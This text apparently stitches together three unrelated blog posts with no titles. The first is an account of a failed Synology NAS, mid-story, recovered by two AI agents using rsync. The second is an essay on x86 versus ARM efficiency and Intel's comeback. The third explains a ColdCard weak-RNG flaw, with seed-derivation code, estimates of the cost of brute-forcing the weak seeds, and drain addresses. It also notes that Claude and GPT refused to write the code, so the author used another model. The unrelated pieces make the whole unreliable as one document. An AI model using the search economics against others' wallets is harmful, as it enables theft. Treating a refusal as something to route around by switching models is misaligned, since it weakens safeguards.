Classic RAID-5, by the way, requires all drives to be the same size, and to grow capacity I’d have to replace all of them at once. SHR is what let me swap one at a time over the years. Ironically, it’s also what saved me from losing everything at once.

The two mistakes

The way I understood it, there are two mistakes, one mine and one theirs, and that’s where the whole disaster lives.

Mine: I underestimated RAID-6, which on Synology is called SHR-2. With two parity drives, drive 8 failing in the middle of the rebuild would have been just a scare. I traded safety for 20 TB of space and spent five years thinking I’d made a good deal.

Theirs: from the logs, the software knew drive 8 had been failing for at least a month, and I never got a single notification. I have email notifications configured. And they work: when the critical situation blew up, I got a flood of emails. This one, about drive 8’s bad sectors, arrived at one in the afternoon on Monday, five hours after the disaster:

Before that, nothing. No warning about drive 8 until it failed catastrophically.

If I had received one, I would never have tried to swap drive 1 before replacing drive 8. The whole situation was avoidable, and it was the result of a human mistake plus some software bug.

That’s the other reason I didn’t buy another Synology. I have a principle: if the horse throws me, I put the horse down. I can’t trust it again.

Where I am now

So far I’ve copied about 20 TB of the original 90 TB, and HBS 3 keeps working. I still don’t know whether I lost any data permanently. I hope not, but the most likely outcome is that I lost what was in the RAID slice the engineer described as crashed.

I have offsite backup on AWS Glacier of what matters most, but not of everything.

A lot of people ask why I don’t use S3 or some other cloud storage for everything. I return the question: think for ten seconds. How long does it take to transfer 90 TB over your internet connection? Do the math:

• With a solid 1 gigabit of upload, never dropping for a second: more than 8 days.
• With 500 megabits: almost 17 days.
• With 100 megabits, which is good upload for many homes: 83 days.

And that’s to upload. When disaster hits you need to download it all back, with the clock running. Not counting the rent: 90 TB on standard S3 costs about US$ 2 thousand a month at list price. Cloud is great for the critical subset, which is how I use it. For the whole archive, physics and the invoice won’t allow it.

Lessons

I was put in an impossible situation on a Monday morning, I acted right away as best I could, and I’ll probably come out of this mostly unscathed. We’ll see, HBS 3 is still syncing. What I take from it:

1. Single parity isn’t enough for big drives. With 20 TB drives, a rebuild takes days and reads everything. That’s the window in which the second drive tends to show up. RAID-6, SHR-2 or RAIDZ2.
2. Don’t rely only on the vendor’s notifications. Look at SMART and the drive logs before starting any swap. I didn’t, because I trusted I’d be warned.
3. Replace the sick drive first, then the small one. A capacity upgrade on an array with a suspect drive is roulette.
4. Leave slack. I was swapping drives because the volume was at the ceiling. An 85% alert exists for that.
5. Have somewhere to copy to. My way out cost R$ 185 thousand because I had no plan B. A second NAS, even a modest one, with what matters, would have bought me time to shop calmly.
6. RAID is not backup. I know that, I teach that, and I still only had offsite for part of it.

The copy is done and I already know the size of the damage: zero. The full recovery comes next.

Six days later: the end of the story

When I published the first part, I had about 20 TB copied and no certainty. The outcome: I finished evacuating the ~91 TB, verified file by file, and lost nothing by accident. Not even what was on the fallen RAID slice, because it stayed readable until the end.

Who operated the recovery were my two agents. The desktop agent controls my PC and both NASes over SSH, and the homelab agent takes care of the server where my 57 containers run. The two coordinate by message: one leaves a report in the other’s inbox, and I follow the conversation.

)

This part matters because nothing that follows was me typing commands. I made the decisions; they executed, measured and screwed up badly a few times, as you’ll see.

HBS 3 was quietly betraying me

In the first part I told how HBS 3, pulling the Synology shares over CIFS, reached 400 MB/s after the adjustments. What I didn’t know: speed was the smallest of its problems.

Two defects showed up when the agent checked the source inventory against what HBS reported:

• It didn’t go where it had no permission, and told nobody. HBS mounts the Synology as my user. The Bitcoin/data directory, 901 GB with my node’s wallet and chainstate, belongs to uid 101 and is closed to anyone else. CIFS couldn’t get in there, and HBS reported success without recording the omission. A “green” backup that leaves the entire Bitcoin node behind.
• It skipped files with “unsupported” names. 113 files, recorded only on a detail screen nobody opens during a days-long copy.

A backup tool that reports success while omitting what it couldn’t read is worse than one that fails screaming. Verify the backup against an independent inventory of the source, never against the tool’s own log.

We abandoned HBS. The agent opened SSH on both NASes, enabled the rsync server on the QNAP, and the Synology started pushing straight to its rsyncd, with nothing going through the PC. Each job’s wrapper: rsync -a --numeric-ids -W --partial --timeout=600, attempts with retry, and never --delete. The --numeric-ids preserved the original uids with no chown afterwards, --partial turned any interruption into a continuation, and the absence of --delete made the destination always a superset: re-sharding or killing a job never cost data.

The bottleneck wasn’t the broken drive

Some context was missing from the first part. This Synology was born with eight consumer-line Seagate IronWolfs, and over the years I had been swapping them one by one for 20 TB IronWolf Pros. The disaster happened exactly during one of those upgrades: I swapped drive 1 for the new Pro and, during the rebuild, drive 8 failed. One single old drive was left in the array: drive 2.

And it, not drive 8, was the evacuation bottleneck. Measured under load:

• Drive 2 (the old consumer one, with 37 thousand hours of use): 91% utilization, delivering 27 MB/s, each I/O taking 4 to 15 times longer than its siblings.
• The six Pros: between 34% and 45% utilization, sitting idle waiting for it.

In RAID-5 (and in SHR), a sequential read spans the whole stripe, and the stripe only completes when the slowest member answers. One slow drive caps the whole array: because of it, the array couldn’t go past about 200 MB/s while six good drives had room to spare. And its SMART was clean, zero reallocated sectors. Consumer drives usually ship without time-limited error recovery (ERC/TLER) active, so the drive retries a marginal sector for seconds, internally, without accounting for anything. The Synology’s NVMe cache diverted part of the reads from the platters and helped mask the symptom.

The drive that fails and the drive that slows you down don’t have to be the same, and SMART “PASSED” says nothing about latency. A slow array is diagnosed with per-drive utilization and response time, not with SMART.

Parallelizing rsync is science, not guesswork

First instinct: more streams. Wrong, twice.

The first time, a bug of ours: a “clean” job relaunch didn’t kill anything, because the Synology’s busybox ps truncates the command line and the verification grep didn’t find the old processes. Result: 32 rsyncs running into 7 destinations, four to five writers per tree, the QNAP with its receive buffers clogged, and the cable transmitting 516 MB/s while the array read 140. After the cleanup (enumerating /proc/*/cmdline, never trusting ps again), useful throughput rose from 140 to 181 MB/s while total load collapsed.

The second time, measurement inverted common sense: with large-file trees, fewer streams were faster, because the average size of each read request tripled and the array did long sequential runs instead of jumping around.

But small-file trees are another sport. TERACHAD/Emulators has 21 TB in 3.4 million files averaging 6 MB: latency-bound work (stat, creation, metadata), not bandwidth-bound. And there aggressive parallelization worked, with one detail: the right shard is chosen by file count, not by size. A single directory, ROMS_FINAL/xbox-hdd-ready, held 995 thousand of ROMS_FINAL’s 1.59 million files, averaging 1.7 MB per file. Isolating it from the multi-gigabyte ISOs:

Between 2.8 and 3.2 times the single stream’s average throughput, on the same machine, on the same network. And there’s a beautiful reason: with the array missing a member, reads of data that doesn’t live on drive 2 don’t need it, so the extra concurrency let the other drives work while it choked.

“More parallelism” and “less parallelism” are both wrong answers as a general rule. Bandwidth-bound work splits little; latency-bound work splits a lot, and by file count. Measure before choosing.

Copying is half the work; proving is the other half

Every job that finished went through a dry-run of the same rsync, with the same excludes: zero files needing transfer means an identical destination by size and date. And even so it almost went wrong, because the verification inherited the copy’s excludes: a tree excluded from the transfer stayed excluded from its own proof. Re-running the check without excludes turned up 952 files and 191 GB missing in Downloads (exactly the batches I had set aside as “only existing copy”) and the old restic repositories, which a similar directory name on the QNAP pretended to cover: the repositories’ internal ID proved they were different ones, not copies.

There was source drift too: a tree verified as complete received 16 GB of new checkpoints on the Synology after the check, and only the final re-verification caught it. Verification has an expiration date.

And a conscious decision, recorded so nobody accuses me of hiding it: the old backup histories (about 2 TB of restic snapshots and a duplicity set from 2025) were left behind by my choice, because the new repositories on the QNAP already cover the same content from now on. Deliberate loss of history, not of data.

Closing the books: 17 rsync jobs, all exit 0, all verified, about 5.9 million byte-identical files, and the Synology shutdown only happened after every tree was proven.

)

Meanwhile, in the homelab

On the other side of the house, the marvin server, which mounts the NAS over NFS and runs the 57 containers, almost died standing up. Dead NAS plus “hard” NFS mounts plus 57 containers restarting on their own made an infinite queue of uninterruptible I/O: the machine answered ping, but sshd couldn’t complete a handshake. And every insistent SSH attempt only made it worse, because OpenSSH punishes a repetitive source by extending the ban. We knocked on the door and the door added a lock.

The way out was to stop knocking: I paused the torrents through the qBittorrent API (which kept responding), went to the physical console, disabled Docker, rebooted, and the server came back. A watchdog I didn’t even remember existed had, on its own, taken down the 14 NAS-dependent containers before any database corrupted: bitcoind’s LevelDB opened clean on the first try.

The migration itself was elegant: fstab pointed at the QNAP and the old mount points became symlinks into the new one. No docker-compose changed. Then came the QNAP NFS gotcha: permission is per client. The desktop was allowed without squash, but marvin’s writes came in as uid 1001, blocking everything that writes to the NAS. The first fix attempt still flipped the mount to read-only in the middle of the first restic backup, which survived on retries. Final configuration: read and write, no squash for anyone, tested with touch and ls -ln from each client, because “it worked on the desktop” proves nothing about the server.

)

After that it was resurrection tree by tree: each service only came up when its tree was verified on the QNAP. In two days, 57 of 57 containers back, and a brand-new restic backup running daily to the QNAP.

The new kernel took down the NVMe

In the middle of the recovery, a free scare from the server. Seven minutes after the nightly backup started, the NVMe controller vanished silently: every binary took SIGBUS, Docker and sshd died, and nothing remained recorded anywhere, because the log lives on the device that died. Not even a kernel panic: just silence.

The same workload had run fine hours earlier on kernel 7.2.6 and died on 7.2.9. Disabling APST (the NVMe’s power management) didn’t fix it: a second identical crash, a 7.2.9 regression confirmed by elimination. MicroOS is transactional and snapshot-based, so the rollback was a reboot into the 7.2.6 lineage, not a reinstall. Automatic updates were deliberately left broken on that lineage so nobody goes back to 7.2.9 unsupervised, and testing 7.2.8 waits until I can sit next to it.

A transactional operating system turns a kernel regression into a reboot. Without system snapshots, that night would have cost a lot more.

The thick provisioning scare

On the QNAP, the whole copy ran with no snapshots at all: in a bulk migration, snapshots are dead weight. With the copy done, I went to enable the ZFS snapshot schedule and got a dry error: “pool free space is not enough”. With 20 TB free.

)

Both statements were true about different things. The CHAD folder had been created as thick: out of the 100 TB quota, ZFS reserves the full 100 TB, and to snapshot a dataset with a reservation, the pool has to guarantee space to overwrite every referenced block while the snapshot pins the old copies. The math: 80 TB written plus 100 TB reserved, against 126 TB usable in the pool. It doesn’t close. And df lies on both sides, because it measures the folder against the quota, not against the pool.

The fix was converting the folder to thin, which QuTS hero does in-place, hidden on the folder’s Management screen, not in the edit dialog where “Thick” looks like static text. In thin, the number becomes a ceiling instead of a reservation: the 10 TB reservation evaporated, the pool ended up with 39 TB free, and the first snapshot came out consuming 334 KB over 79.9 TB referenced. ZFS needed almost nothing; the reservation was what demanded a 100 TB guarantee to authorize.

)

Now the QNAP has a snapshot schedule with a retention policy, as it should have had since day one:

)

)

Two footnotes for anyone building one of these. If your thin folder has an 80% alert, raise the quota for aesthetic slack, because the alert measures against the quota and not against the pool. And this QNAP’s real bottleneck is RAM: 7 GB for a 174 TB pool. QuTS hero’s official minimum is 8 GB, and sensible practice at this scale is 16 and up. The size of the ARC cache governs metadata speed, and that’s why the whole-tree sweeps during the migration were slow. A RAM upgrade is worth more than any fine-tuning.

The Synology is born again

With everything verified on the QNAP, the Synology could finally be operated on. I swapped drives 2 and 8 for new IronWolf Pros, deleted the wounded pool and recreated it from scratch, this time in SHR-2, the two-parity-drive mode, their RAID-6. The new pool came out with 100 TB, all drives healthy:

)

It goes back to work as a replica target, and no longer as a single point of failure. The QNAP stays as primary, in RAIDZ2, with 87 TB of the 126 TB used and snapshots scheduled:

)

What I take from the second half

1. Distrust silent success. HBS reported green while leaving 901 GB behind. A backup is verified against a source inventory.
2. SMART doesn’t measure slowness. The drive that nearly killed the evacuation was “healthy.” Per-drive utilization and latency tell the truth.
3. Parallelism is calibrated by measuring. Bandwidth-bound splits little, latency-bound splits a lot, and the shard is chosen by file count.
4. Verification doesn’t inherit excludes. If the proof uses the same filters as the copy, it only reaffirms the copy’s assumptions. And verify again immediately before destroying the source.
5. NFS permission is per client. Test writes from every machine that will use it.
6. Don’t hammer a dying sshd. Each attempt extends the ban. One patient attempt, or the physical console.
7. The dangerous repair comes last. The array stayed degraded and slow until the last byte was proven somewhere else; only then did rebuilding stop costing anything.

I came out of this better protected than I went in: two NASes, each with its own RAID-6, scheduled snapshots on the QNAP, daily restic, and Glacier for what’s critical. The disaster cost me a QNAP, two drives and a week. It could have cost 90 TB.

My thesis: that was true generations ago, when decoding x86 cost a relevant slice of the die. Today x86 is, in practice, a translation layer into micro-instructions — and what separates Apple, Qualcomm, and Intel was never the instruction set. Intel’s crisis was managerial and manufacturing, not architectural. Which is exactly why its comeback, now, makes sense.

What the reviews show

The Panther Lake laptops (Core Ultra series 3, launched at CES on January 5 and on sale since January 27) deliver numbers the Meteor/Arrow Lake era couldn’t dream of. Starting with battery — Dell XPS 14 2026 (Core Ultra X7 358H) versus MacBook Air 15 (M5):

The honest reading: in light use, the Dell ties or wins; under sustained load, Apple remains unbeatable. And DHH posted that his XPS 14 running Omarchy Linux gets over 16 hours of real use, with a 1.4W idle draw — Dell made a point of day-one Linux support.

On CPU, the flagship Core Ultra X9 388H against the M5 (Notebookcheck data):

Single-core remains Apple’s territory — it does the same work on a third of the energy. But in moderate multi-core, Intel caught up. Against AMD (Ryzen AI 9 465) the 388H wins across the board; against the first-gen Snapdragon X Elite too; the X2 Elite Extreme, which arrived in 2026, already handed the Windows CPU crown back to Qualcomm (+24% in single-core). Honesty above all.

On GPU, the verdict is more mixed than Intel’s marketing suggests:

Ars Technica’s summary is the fairest: “Intel’s best laptop CPU in a very long time” — with the caveat that Intel must prove this is the new normal, not an aberration.

Remember this: MacBook battery life in an x86 laptop happened — in light use. In single-core and under heavy load, Apple still sets the pace.

The belief: “to be efficient you have to be ARM”

Every programmer has heard the explanation: ARM has a simple, fixed-length, elegant instruction set. x86 is a chimera accumulated since 1978, with variable-length instructions, real mode, segmentation, decades of mess. “Therefore” ARM is inherently more efficient, and the way for anyone to reach Apple- or Qualcomm-class efficiency is to move to ARM64.

There’s truth in there: x86 does carry historical baggage, and decoding variable-length instructions is objectively more annoying than decoding fixed 32-bit ones. The error is in the conclusion. That difference mattered when decode logic occupied a significant fraction of the chip. That was a long time ago.

Remember this: the ISA difference mattered when decoding occupied a relevant fraction of the die. That ended generations ago.

x86 became a translation layer in 1995

The Pentium Pro, from November 1995, already didn’t execute x86 directly: it translated each CISC instruction into internal RISC-like micro-operations and executed those. AMD did the same with the K5 in 1996 (its “ROPs”). In other words: for thirty years, “executing x86” has meant “translate it into something else and execute the something else.” x86 is a compatibility interface, a translation layer over a RISC engine. And the numbers show how cheap that layer became:

When the micro-op cache hits, the fetch and decode hardware is literally switched off. The Hirki study’s conclusion is dry: “the x86-64 instruction set is not a major hindrance in producing an energy-efficient processor.” And the definitive academic study — Blem, Menon, and Sankaralingam, HPCA 2013, actually measuring ARM against x86 — concluded: instruction count and mix are ISA-independent to first order, performance differences come from microarchitecture, and “the energy consumption is again ISA-independent.”

Jim Keller — the guy who designed AMD’s Zen and Apple’s A4/A5 chips, someone who has lived on both sides — put it even more bluntly in an AnandTech interview: variable-length decode “isn’t dominating the die, so it doesn’t matter that much.” What limits performance today, in his words, is branch predictability and data locality.

And here’s the detail that kills the myth for good: modern ARM does the same thing. The Cortex-A77 has a micro-op cache. Samsung added one to the Exynos M5 explicitly to save fetch and decode power. Fujitsu’s A64FX — the ARM inside the Fugaku supercomputer — decodes the SVE FADDA instruction into 63 micro-ops. Sixty-three. The fantasy of “ARM is one instruction per cycle, simple and pure” hasn’t existed in any high-performance ARM for a long time.

One honest nuance before moving on: x86’s variable length really does make very wide decoders harder to build — Apple decodes up to twice as many instructions per cycle as an x86. That’s a real engineering difficulty. But you pay for it in logic area, which is cheap, not in consumption proportional to the work — which is what defines battery life.

Remember this: for thirty years, no x86 has executed x86 — everything becomes RISC-style micro-ops. The ISA became a compatibility interface.

The transistor math

To understand why the decode burden evaporated, look at the evolution:

In 2000, every block of logic was a tight budget, and x86’s mess was expensive. As transistors became infinite for all practical purposes, the decoder’s fixed cost became pocket change. Along the way, two important shifts:

• Dennard scaling died around 2005. Leakage current stopped clocks from climbing, Intel canceled Tejas in 2004, and the world went multicore. Clocks stalled in the 1-4GHz range and never left.
• Moore’s law became economics, not physics. Cost per transistor stopped falling at 28nm: a leading-edge fab today costs US$20 to 30 billion, and an ASML High-NA EUV machine costs US$350 million.

And what occupies die and consumes energy in a modern chip? Giant caches, branch predictors, dozens of execution ports, GPU, NPU, media engines. The x86 decoder doesn’t even show up in the bread line.

And history hands us the perfect empirical proof: from 2015 to 2021, Intel was stuck at 14nm — Skylake and its derivatives, six years of stagnant process from manufacturing failure. Even so, those old 14nm cores traded blows with AMD’s Zen 2, built on TSMC 7nm. If x86 were the problem, that would be impossible. The bottleneck was the fab. It was the fab all along.

Remember this: six years stuck at 14nm, and Intel still competed with TSMC 7nm chips. The bottleneck was the fab, never the ISA.

What actually makes Apple efficient

The M1 isn’t efficient “because it’s ARM.” Apple has held an ARM architectural license since the A6, in 2012: it designs its own cores from scratch, and only the instruction set is ARM’s. When AnandTech dissected the M1’s Firestorm core, the contrast with contemporary x86 was about engineering choices, not instructions:

In practice: twice the decode width, nearly twice the reorder buffer, six times the instruction cache. Add unified memory soldered into the package and a cutting-edge TSMC process. That’s aggressive microarchitecture, enormous caches, vertical integration, and a leading-edge process — all expensive, all deliberate, and none of it comes free with the ISA.

The reciprocal is also true, by the way: you can make bad ARM. The market is full of mediocre ARM. Efficiency is an engineering and process choice, not an ISA birth certificate.

Remember this: the M1 is efficient because of microarchitecture, cache, process, and vertical integration — not “because it’s ARM.”

Your favorite instructions aren’t x86 or ARM

And there’s something else almost nobody mentions in this debate: much of what a modern CPU executes doesn’t belong to either side’s “classic” instruction set. Look at what runs outside it:

• Video. On Intel, decoding lives in Quick Sync, fixed-function hardware that has existed since Sandy Bridge — a separate block with nothing to do with the x86 legacy. It’s because of it that Frandroid measured the Snapdragon X2 58% slower than Panther Lake in video export.
• Cryptography. AES-NI exists since 2010, SHA extensions since 2016 — dedicated instructions added decades after the “old x86.”
• AI and matrices. AVX-512, then AVX10, and AMX, a matrix tile accelerator. The ARM side has the equivalents: NEON, SVE, SME.

Chips and Cheese ran the perfect experiment: in the same 4K HEVC encode, an Ampere ARM took more than twelve times as long as a Zen 2 with stock ffmpeg; using NEON assembly cut the ARM time by more than 60%. The difference was never ARM versus x86 — it was well-used vector extensions versus ignored vector extensions. In the real world, the heavy lifting lives in the extensions and accelerators, and those are orthogonal to the base ISA.

Remember this: modern heavy lifting — video, crypto, AI — runs on dedicated extensions and accelerators, orthogonal to the base ISA.

The fall was managerial, not architectural

Here’s the part that convinces me completely. Look at the timeline and try to find “x86 was a fundamental limitation” anywhere in it:

• 2005-2006: Intel passes on making the iPhone’s chip — Otellini admitted the regret in his exit interview with The Atlantic: “the world would have been a lot different.” And the tragicomic detail: Intel had an ARM division (XScale) — and sold it to Marvell in 2006 for US$600 million. It wasn’t a lack of technology; it was a lack of vision.
• 2013-2021: three CEOs. Krzanich left in 2018 over an internal scandal. In came Bob Swan, a finance CFO, to run an engineering company at the most delicate moment in its history.
• 2018-2020: 10nm became a joke (Cannon Lake only in limited release) and in July 2020 Intel announced a 7nm delay — the stock dropped 16% in a day. In April 2019, it abandoned the 5G smartphone modem business; Apple bought the modem unit for US$1 billion. In November 2020, the M1.
• 2021-2024: Gelsinger returned with the IDM 2.0 plan, “five nodes in four years.” In December 2024 he was pushed into “retirement” — a board ultimatum, per Reuters and Bloomberg. The year closed with a US$18.8 billion loss, 15,000 layoffs, a suspended dividend, and Intel expelled from the Dow Jones after 25 years — replaced by Nvidia, which at that point was worth more than 30 times Intel. By October 2025, the cumulative layoff count had reached 35,500.

Nothing on that list is architecture. It’s missed products, delayed fabs, wrong decision after wrong decision. x86 was there, competent, while the company dismantled itself around it.

Remember this: the iPhone pass, the XScale sale, the broken 10nm, three CEOs, a US$18.8 billion loss — Intel’s fall was decision after decision, not an x86 limitation.

The unlikely rescue

And then 2025 happened. Lip-Bu Tan took over in March. In August, Trump demanded his head on Truth Social over China ties — and just days later, after a White House meeting, became a fan. On August 22, the US government bought 9.9% of Intel: 433.3 million shares at US$20.47, US$8.9 billion total, converting CHIPS Act grants into equity, with no board seat. SoftBank put in US$2 billion. And the surreal cherry on top: Nvidia — the same company that replaced it on the Dow — invested US$5 billion and signed a partnership to put RTX chiplets into x86 CPUs.

The financial results started showing: Q1 2026 revenue of US$13.6 billion (+7% year over year), Q2 at US$16.1 billion (+25%), seventh consecutive quarter above projections. The stock the government paid US$20.47 for reached more than six times that price in May, when Bloomberg reported talks for Intel to manufacture Apple chips — preliminary reporting, production years away, but the market went wild. Even after cooling off, the US government’s position is still worth five times what it cost. The American taxpayer is, today, a profitable Intel shareholder. Go figure.

Remember this: the US government, SoftBank, and Nvidia as shareholders, and the stock five times above the government’s entry price — Intel became a national cause, and the market bought the comeback.

The comeback, feet on the ground

Panther Lake is the first big product on 18A — RibbonFET (gate-all-around transistors) plus PowerVia (backside power delivery), coming out of Fab 52 in Chandler, Arizona. There’s delicious irony here: the flagship’s 12-core GPU tile is still manufactured by TSMC. And 18A yields (the fraction of good chips per wafer), per Tom’s Hardware, should only reach industry-standard levels in 2027 — the ramp is slow, and Ars Technica asks the right question: is this the new normal or an aberration?

But the point of this article isn’t cheerleading. It’s that Panther Lake empirically closes a debate that was theological. An x86-64 on a competitive process delivers MacBook battery life, ties the M5 in multi-core, and beats the Windows competition in several scenarios. If the ISA were the decisive factor, that would never happen, on any process. What brought Intel down was management; what brings it back is fabs and focus; and what separates Apple, Qualcomm, AMD, and Intel is microarchitecture, cache, process, and integration — exactly as Jim Keller and the literature always said.

I’m rooting for the comeback. Not out of nostalgia from someone who built PCs with Pentiums, but because the efficient-laptop market was settling into a comfortable duopoly — and a comfortable duopoly is the enemy of price and innovation. Let the fight go on.

Remember this: Panther Lake closes a theological debate: competitive x86 exists when the fab is competitive. It was never about instructions.

The didactic code in this article was generated with Kimi K3. It is worth noting that, given the same prompt, both Claude and GPT refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.

The goal is to answer, line by line, a question many people asked: “if the ColdCard stays offline, how did the bitcoins disappear?”.

Warning: the code here is educational. Running it against addresses that are not yours is a crime. Use it to understand the risk, test your own seeds in a controlled environment, and reinforce why you need to generate fresh entropy.

Summary of the previous post

Between March 2021 and the July 2026 fix, several ColdCard firmwares generated seeds from a deterministic generator instead of the hardware TRNG. The blame lies in a botched integration: the macro MICROPY_HW_ENABLE_RNG was defined as 0, but the guard in libNgU used #ifndef, which only asks whether the symbol exists. The build succeeded, the rng_get() call fell through to MicroPython’s Yasmarang software fallback, and the seed became a product of the microcontroller UID and timing registers.

For readers who do not work with hardware, here is what those acronyms mean:

• UID (Unique Identifier) is the serial number burned into the microcontroller chip at the factory. In the STM32F4 used by the ColdCard, it is 96 bits long — something like 0x4A3F B201 C847 D5E9 1234 5678. Every chip leaves the assembly line with a different UID, but it is fixed and can be read by software. If the attacker knows (or can constrain) this number, they eliminate one of the unknowns.
• RTC (Real-Time Clock) is the microcontroller’s real-time clock. In a PC, that clock is usually backed by a coin-cell battery and keeps running while the machine is off. The ColdCard has no such battery. On Mk2/Mk3 the RTC oscillator is disabled at startup, which strongly suggests that the RTC->TR and RTC->SSR registers read as zero or a static value every time the device cold-boots. On Mk4/Q/Mk5 an RTC source is configured but marked unused, and MicroPython’s RTC initialization remains disabled. In other words, “time” is not a fresh entropy source here — it is another fixed or predictable value that an attacker can profile.
• SysTick is another timer, this one inside the ARM core itself, counting at high speed — typically from 0 to 0x00FFFFFF and rolling over. When the firmware reads this counter at seed-creation time, it captures a value like 0x003D7A12. Because the RTC likely does not vary across cold boots, SysTick becomes practically the only dynamic element of the initial state. Block estimates that, by itself, it can shrink the space to ~80,000 possibilities (~16 bits).

Block’s independent analysis and Coinkite’s technical backgrounder agree on the mechanism, although they differ on impact details. Yesterday’s post has the full affected-firmware table.

The central point is: the effective entropy dropped from at least 128 bits to roughly 40 bits on the Mk3 and 72 bits (with caveats) on newer models. Forty bits are not secure. They are enumerable with cheap hardware.

The wallet does not sit “inside” the ColdCard

Before diving into the attack, repeat the basics. Bitcoin does not sit inside the device. The public blockchain contains UTXOs — transaction outputs — locked by scripts. What your wallet stores is the material to produce signatures that satisfy those scripts.

In the most common case, a native SegWit address is derived from a public key, which in turn comes from a private key, which is just an integer inside the domain of the secp256k1 curve. Whoever knows the integer can sign. Whoever does not, cannot.

That is why the ColdCard can be powered off, battery-less, inside a safe. The attacker does not need to touch it. They only need to reproduce the same integer that the device drew. With a weak RNG, that stops being impossible and becomes a small search space.

You can see any wallet on the blockchain. Just paste an address or xpub into an explorer like mempool.space. The explorer shows balance, UTXOs, and history because that data is public by design. The ColdCard, Ledger, Sparrow, Electrum — none of them “hold” your bitcoins; they only keep the keys that let you spend the UTXOs in the global ledger.

How the attacker prioritizes models

Not all models are equally easy to attack. The priority order follows the search-space size:

Why is the Mk3 the easiest? Because it has no cryptographic contribution from a secure element. The Yasmarang fallback is fully deterministic given the UID and timer state. If the attacker knows (or can constrain) those values, there is no residual secret. Coinkite estimates the effective space at about 40 bits; Block shows that, because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, SysTick alone limits the space to ~80,000 values, i.e. ~16 bits.

On Mk4/Q/Mk5 the secure-element reseed adds 32 bits. That is enough to make the attack much more expensive — but still far from the acceptable 128-bit minimum. Block also points out a source path where a caught exception during initialization can prevent the reseed, falling back to the smaller space.

A rational attacker starts with the biggest return: Mk2/Mk3 v4. Only with leftover resources do they move to Mk4/Q/Mk5.

128 bits, 40 bits, and 72 bits: what is the difference?

Bits measure the size of the search space. Each extra bit doubles the work. The difference is not small — it is exponential.

Imagine you can test 1 billion candidates per second:

Another way to picture it: 40 bits is like finding a specific leaf in a small forest. 72 bits is like finding a specific grain of sand on all the beaches on Earth. 128 bits is like finding a specific atom among the atoms of thousands of planets.

That is why 40 bits is not “slightly less secure” than 128. It is a completely different category: practical to attack with common hardware. 72 bits already demands serious resources, but still falls short of the acceptable minimum for storing value. 128 bits is the standard because, with known computing power, it cannot be beaten.

From an integer to a wallet

Below is a real example of how a number (the entropy) becomes a seed, a private key, and an address. I used 16 bytes (128 bits) just to fit on one line; the ColdCard used 32 bytes, but the idea is the same.

from embit.bip39 import mnemonic_from_bytes, mnemonic_to_seed
from embit.bip32 import HDKey
from embit.script import p2wpkh

entropy = bytes.fromhex("0123456789abcdef0123456789abcdef")  # 128 bits
mnemonic = mnemonic_from_bytes(entropy)
seed = mnemonic_to_seed(mnemonic)
root = HDKey.from_seed(seed)
key = root.derive("m/84'/0'/0'/0/0")

Output:

entropy (128 bits): 0123456789abcdef0123456789abcdef
mnemonic (12 words): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
private key (integer): 1332683685242456724974769347593961509584253593377187298409830148921683854281
address: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw

The private key is just an integer. From it, the elliptic curve computes the public key; the public key is hashed into the address. The address is what appears on the blockchain; the integer is what lets you spend.

In the ColdCard case, the integer did not have 128 bits of real randomness. It had ~40. So instead of searching for a needle in the universe, the attacker was searching for a needle in a small forest.

Real evidence on the blockchain

I am not making up numbers. The independent site coldcard-watch.vercel.app has been tracking the drains transaction by transaction and publishes the verified minimum: 1,128.6633 BTC drained from 2,334 confirmed addresses. The site itself stresses that these are verified minimums, not totals — other clusters likely exist.

It identifies two draining episodes:

• July 30, 2026, blocks 960183 to 960191 — 1,195 addresses drained.
• July 31, 2026, blocks 960345 to 960369 — 1,126 addresses drained.

The main public clusters making up that minimum include:

• bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0 — received 594.47723261 BTC in 501 outputs.
• bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3 — received ~398.476 BTC in a single transaction with 491 inputs (14edd9ee...).
• bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q — received ~89.623 BTC in a single transaction with 204 inputs (4b50d61a...).

Just these three clusters already sum to ~1,082 BTC; the remaining verified transactions bring the confirmed minimum to 1,128.6633 BTC.

The first cluster moved ~562 BTC to bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r; that is the same money, not a fourth victim.

A concrete example: transaction 78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d consolidates three inputs from the same vulnerable address bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, one of them almost 29.9 BTC. All three inputs use the same compressed public key:

037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e

So three different UTXOs, same owner, same private key. The attacker found that key and signed all of them at once.

Other source addresses with large values include bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf (~24.08 BTC), bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5 (~14.43 BTC), and bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw (~11.74 BTC). You can click each one and watch the UTXOs move to a consolidation address.

Bitcoin Optech issue 416 estimated losses above 1,000 BTC while the case was still unfolding; the independent tracker now confirms at least 1,128.6633 BTC stolen.

What the blockchain timeline suggests about attack order

coldcard-watch shows two distinct episodes, separated by more than 24 hours. The first happened between blocks 960183 and 960191 (July 30, around 01:10 UTC); the second between 960345 and 960369 (July 31). Within the first episode, the three large clusters (~594, ~398, and ~89 BTC) were mined in consecutive blocks — so within each wave, the sweeps were launched almost simultaneously.

This two-wave pattern fits two interpretations:

1. Same attacker, pre-computed in batches. The first wave grabs the easiest, best-funded targets; the second wave comes from a second batch of already pre-computed candidates.
2. Multiple attackers. After the flaw became public, other actors joined with their own dictionaries of likely states.

Either way, the economics of the attack favor the order in the table above. Mk2/Mk3 v4 is the best return on compute:

• ~40 bits of effective entropy ≈ 2^40 ≈ 1.1 trillion candidate states.
• On a GPU testing 1 million candidates per second (including BIP32 derivation and explorer lookup), that would take about 13 days to search exhaustively. With 100 GPUs/FPGAs, it drops to a few hours.
